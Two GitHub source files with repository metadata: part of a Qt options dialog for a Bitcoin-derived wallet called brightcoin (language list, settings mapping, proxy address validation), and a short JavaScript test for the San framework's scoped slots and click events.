ui->proxyIp->installEventFilter(this);
/* Window elements init */
#ifdef Q_OS_MAC
ui->tabWindow->setVisible(false);
#endif
/* Display elements init */
QDir translations(":translations");
ui->lang->addItem(QString("(") + tr("default") + QString(")"), QVariant(""));
foreach(const QString &langStr, translations.entryList())
{
QLocale locale(langStr);
/** check if the locale name consists of 2 parts (language_country) */
if(langStr.contains("_"))
{
#if QT_VERSION >= 0x040800
/** display language strings as "native language - native country (locale name)", e.g. "Deutsch - Deutschland (de)" */
ui->lang->addItem(locale.nativeLanguageName() + QString(" - ") + locale.nativeCountryName() + QString(" (") + langStr + QString(")"), QVariant(langStr));
#else
/** display language strings as "language - country (locale name)", e.g. "German - Germany (de)" */
ui->lang->addItem(QLocale::languageToString(locale.language()) + QString(" - ") + QLocale::countryToString(locale.country()) + QString(" (") + langStr + QString(")"), QVariant(langStr));
#endif
}
else
{
#if QT_VERSION >= 0x040800
/** display language strings as "native language (locale name)", e.g. "Deutsch (de)" */
ui->lang->addItem(locale.nativeLanguageName() + QString(" (") + langStr + QString(")"), QVariant(langStr));
#else
/** display language strings as "language (locale name)", e.g. "German (de)" */
ui->lang->addItem(QLocale::languageToString(locale.language()) + QString(" (") + langStr + QString(")"), QVariant(langStr));
#endif
}
}
ui->unit->setModel(new BitcoinUnits(this));
/* Widget-to-option mapper */
mapper = new MonitoredDataMapper(this);
mapper->setSubmitPolicy(QDataWidgetMapper::ManualSubmit);
mapper->setOrientation(Qt::Vertical);
/* enable apply button when data modified */
connect(mapper, SIGNAL(viewModified()), this, SLOT(enableApplyButton()));
/* disable apply button when new data loaded */
connect(mapper, SIGNAL(currentIndexChanged(int)), this, SLOT(disableApplyButton()));
/* setup/change UI elements when proxy IP is invalid/valid */
connect(this, SIGNAL(proxyIpValid(QValidatedLineEdit *, bool)), this, SLOT(handleProxyIpValid(QValidatedLineEdit *, bool)));
}
OptionsDialog::~OptionsDialog()
{
delete ui;
}
void OptionsDialog::setModel(OptionsModel *model)
{
this->model = model;
if(model)
{
connect(model, SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit()));
mapper->setModel(model);
setMapper();
mapper->toFirst();
}
/* update the display unit, to not use the default ("BTC") */
updateDisplayUnit();
/* warn only when language selection changes by user action (placed here so init via mapper doesn't trigger this) */
connect(ui->lang, SIGNAL(valueChanged()), this, SLOT(showRestartWarning_Lang()));
/* disable apply button after settings are loaded as there is nothing to save */
disableApplyButton();
}
void OptionsDialog::setMapper()
{
/* Main */
mapper->addMapping(ui->transactionFee, OptionsModel::Fee);
mapper->addMapping(ui->reserveBalance, OptionsModel::ReserveBalance);
mapper->addMapping(ui->bitcoinAtStartup, OptionsModel::StartAtStartup);
/* Network */
mapper->addMapping(ui->mapPortUpnp, OptionsModel::MapPortUPnP);
mapper->addMapping(ui->connectSocks, OptionsModel::ProxyUse);
mapper->addMapping(ui->proxyIp, OptionsModel::ProxyIP);
mapper->addMapping(ui->proxyPort, OptionsModel::ProxyPort);
mapper->addMapping(ui->socksVersion, OptionsModel::ProxySocksVersion);
/* Window */
#ifndef Q_OS_MAC
mapper->addMapping(ui->minimizeToTray, OptionsModel::MinimizeToTray);
mapper->addMapping(ui->minimizeOnClose, OptionsModel::MinimizeOnClose);
#endif
/* Display */
mapper->addMapping(ui->lang, OptionsModel::Language);
mapper->addMapping(ui->unit, OptionsModel::DisplayUnit);
mapper->addMapping(ui->displayAddresses, OptionsModel::DisplayAddresses);
mapper->addMapping(ui->coinControlFeatures, OptionsModel::CoinControlFeatures);
}
void OptionsDialog::enableApplyButton()
{
ui->applyButton->setEnabled(true);
}
void OptionsDialog::disableApplyButton()
{
ui->applyButton->setEnabled(false);
}
void OptionsDialog::enableSaveButtons()
{
/* prevent enabling of the save buttons when data modified, if there is an invalid proxy address present */
if(fProxyIpValid)
setSaveButtonState(true);
}
void OptionsDialog::disableSaveButtons()
{
setSaveButtonState(false);
}
void OptionsDialog::setSaveButtonState(bool fState)
{
ui->applyButton->setEnabled(fState);
ui->okButton->setEnabled(fState);
}
void OptionsDialog::on_okButton_clicked()
{
mapper->submit();
accept();
}
void OptionsDialog::on_cancelButton_clicked()
{
reject();
}
void OptionsDialog::on_applyButton_clicked()
{
mapper->submit();
disableApplyButton();
}
void OptionsDialog::showRestartWarning_Proxy()
{
if(!fRestartWarningDisplayed_Proxy)
{
QMessageBox::warning(this, tr("Warning"), tr("This setting will take effect after restarting brightcoin."), QMessageBox::Ok);
fRestartWarningDisplayed_Proxy = true;
}
}
void OptionsDialog::showRestartWarning_Lang()
{
if(!fRestartWarningDisplayed_Lang)
{
QMessageBox::warning(this, tr("Warning"), tr("This setting will take effect after restarting brightcoin."), QMessageBox::Ok);
fRestartWarningDisplayed_Lang = true;
}
}
void OptionsDialog::updateDisplayUnit()
{
if(model)
{
/* Update transactionFee with the current unit */
ui->transactionFee->setDisplayUnit(model->getDisplayUnit());
}
}
void OptionsDialog::handleProxyIpValid(QValidatedLineEdit *object, bool fState)
{
// this is used in a check before re-enabling the save buttons
fProxyIpValid = fState;
if(fProxyIpValid)
{
enableSaveButtons();
ui->statusLabel->clear();
}
else
{
disableSaveButtons();
object->setValid(fProxyIpValid);
ui->statusLabel->setStyleSheet("QLabel { color: red; }");
ui->statusLabel->setText(tr("The supplied proxy address is invalid."));
}
}
bool OptionsDialog::eventFilter(QObject *object, QEvent *event)
{
if(event->type() == QEvent::FocusOut)
{
if(object == ui->proxyIp)
{
CService addr;
/* Check proxyIp for a valid IPv4/IPv6 address and emit the proxyIpValid signal */
emit proxyIpValid(ui->proxyIp, LookupNumeric(ui->proxyIp->text().toStdString().c_str(), addr));
}
}
return QDialog::eventFilter(object, event);
}
| {'content_hash': 'cfa28a860c583cdca409d1ffc8d01732', 'timestamp': '', 'source': 'github', 'line_count': 257, 'max_line_length': 198, 'avg_line_length': 31.782101167315176, 'alnum_prop': 0.6753183153770813, 'repo_name': 'brightcoindeveloper/brtcoin', 'id': 'db23595a4f96f9f82666968d06fa8c4038d15752', 'size': '8168', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/qt/optionsdialog.cpp', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'Assembly', 'bytes': '51312'}, {'name': 'C', 'bytes': '34401'}, {'name': 'C++', 'bytes': '2584711'}, {'name': 'CSS', 'bytes': '1127'}, {'name': 'HTML', 'bytes': '50620'}, {'name': 'Makefile', 'bytes': '13045'}, {'name': 'NSIS', 'bytes': '6077'}, {'name': 'Objective-C', 'bytes': '858'}, {'name': 'Objective-C++', 'bytes': '3537'}, {'name': 'Python', 'bytes': '41580'}, {'name': 'Roff', 'bytes': '12684'}, {'name': 'Shell', 'bytes': '9083'}]} |
it("scoped slot by default content has event listen", function (done) {
var clickInfo = {};
// [inject] init
expect(wrap.getElementsByTagName('p')[0].innerHTML).toBe('errorrik,male,[email protected]');
myComponent.data.set('man.email', '[email protected]');
san.nextTick(function () {
expect(wrap.getElementsByTagName('p')[0].innerHTML).toBe('errorrik,male,[email protected]');
triggerEvent(wrap.getElementsByTagName('p')[0], 'click');
setTimeout(function () {
expect(clickInfo.email).toBe('[email protected]');
expect(clickInfo.outer).toBeFalsy();
myComponent.dispose();
document.body.removeChild(wrap);
done();
}, 500);
})
});
| {'content_hash': '24ba28013c28066f7534e441b6795524', 'timestamp': '', 'source': 'github', 'line_count': 21, 'max_line_length': 98, 'avg_line_length': 35.42857142857143, 'alnum_prop': 0.6129032258064516, 'repo_name': 'ecomfe/san', 'id': '972cebb554c47a7ab43cbc4078ff045fa07f45eb', 'size': '744', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'test/ssr/scoped-slot-default-listened/spec.js', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'CSS', 'bytes': '6278'}, {'name': 'HTML', 'bytes': '36414'}, {'name': 'JavaScript', 'bytes': '1184545'}, {'name': 'Smarty', 'bytes': '59345'}, {'name': 'TypeScript', 'bytes': '5224'}]} |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.